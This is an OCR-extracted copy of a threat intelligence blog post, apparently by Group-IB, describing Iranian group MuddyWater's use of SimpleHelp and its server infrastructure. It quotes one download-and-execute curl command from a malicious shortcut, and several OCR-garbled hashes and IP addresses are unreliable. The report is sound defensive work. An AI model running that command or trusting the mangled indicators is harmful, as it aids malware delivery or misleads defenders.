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MuddyWater Profile

Iran

Key findings

MuddyWater uses SimpleHelp, a legitimate remote device control and management tool, to
ensure persistence on victim devices.

SimpleHelp is not compromised and is used as intended. The threat actors found a way to
download the tool from the official website and use it in their attacks.

According to our data, MuddyWater used SimpleHelp for the first time on June 30, 2022. At the
time of writing, the group has at least eight servers on which they have SimpleHelp installed.

This blog post describes MuddyWater’s previously unknown infrastructure and points to links
with some of the group’s publicly known IP addresses.

The group’s servers can be tracked by the same ETag hashes used:

2aa6-5¢939a3a79153
2aa6-5b27e6e58988b
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2aa6-5c939a773f7a2

SimpleHelp

53ce7a2850e27465f3aae3cc2faela3eclb6a640
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The file “new aviation communications.exe” was uploaded to VirusTotal on June 30, 2022. It is a
legitimate version of SimpleHelp with a valid digital signature. The file was compiled on June 18,
2021 at 13:45:41 UTC.
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53ce7a2850e27465f3aae3cc2faela3eclb6a640

SimpleHelp admin panel
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What happens after SimpleHelp is installed?
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MuddyWater’s network infrastructure

Publicly known IP addresses used by the group

Non-disclosed IP addresses that are highly likely used by the group, according to Group-IB’s
assessments

2aa6-5¢939a3a79153
2aa6-5b27e6e58988b
2aa6-5c939a773f7a2

Let’s do a graph analysis

Microsoft

164[]132[.]237[.]64
91[.J121[.]240[.]104
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Analysis of the infrastructure revealed a cross-over between the hosts 164[.]132[.]237[.]64 and
164[.]1132[.]237[.]165 through the use of the same SSH fingerprint
€7383¢c77c6f804cffac6c88651b7bce2.
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Digital Forensics Lab

Page 13 of 29



https://www.group-ib.com/services/digital-forensics/

https://www.group-ib.com /blog/muddywater-infrastructure/

Page 14 of 29




Suspicious ETag hashes: MuddyWater’s
previously unknown infrastructure

ETag 2aa6-5¢939a3a79153
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script
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shortcut file

request-for-service-no10102022.zip
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/c curl -s http://91[.]121[.]240[.]108:443/HBIy > C:\programdata\temp.vbs && START micros:

Cisco Talos
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ETag 2aa6-5b27¢6e58988b
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SSH fingerprint 3648a6085512ab91f5a23bafb8418f7b

51[.]255[.]19[.]183
149[.]202[]242[.]85
149[]202[.]242[.]80
164[.]132[.]237[.]164
164[.]132[.]237[.]66
149[.]202[.]242[.]186

Page 23 of 29




https://www.group-ib.com /blog/muddywater-infrastructure/

ETag 2aa6-5¢c939a773f7a2

described
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Conclusion
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Recommendations

Use network indicators provided in this blog post to track MuddyWater’s activity and
proactively protect against the group’s attacks. By using search engines such as Shodan, you
can search for malicious servers used by the threat actors and always be ready to proactively
block such hosts. In addition, Shodan can be used to search for any new infrastructure used by
the group.

Use corporate email security tools to effectively prevent various threat groups from using
corporate email as an attack vector. Thanks to unique threat intelligence data and patented
technologies, Group-IB’s solution called Business Email Protection detects and blocks
phishing, malicious attachments, and other BEC attacks with unprecedented precision, even if
the threat actors use detection evasion techniques. Group-IB Business Email Protection also
analyzes and attributes email-borne threats to proactively protect against such attacks and
strengthen the organization’s overall security posture.

For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence
system, which, as we showed in this blog post, helped us detect MuddyWater’s use of
SimpleHelp and expose its previously unknown infrastructure. Thanks to unique data sources,
our Threat Intelligence system can be used to detect phishing and other relevant threats as
early as during their preparation stage. The built-in graph analysis tool enriched by data from the
largest threat-actor database reveals links between attackers, their infrastructures, and their
tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an
organization’s ability to counter attacks, including ones carried out by state-sponsored groups.

Strengthen your security posture with
Group-IB Threat Intelligence
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Requestademo

Network indicators

Hosts by ETag

1377413119

13774.131.20

13774.131.22

1377413124

13774.131.30

141.95.177129

14195177130

14195177131

Hosts by ETag Publicly confirmed

MuddyWater

149.202.242.80
149.202.242.86
164.132.237.64 164.132.237.64

164.132.237.66

51.255.19.183

Hosts by ETag

141956177133

141.95.177132

164.132.237.64

14195177134

91.121.240.105

91.121.240.101

14195177131

91.121.240.100

MuddyWater
SimpleHelp
servers

141.95.177129

141.95.177142

164.132.237.78

178.32.30.3

51.254.25.36

51.255.19.178

51.255.19.179

91.121.240.110

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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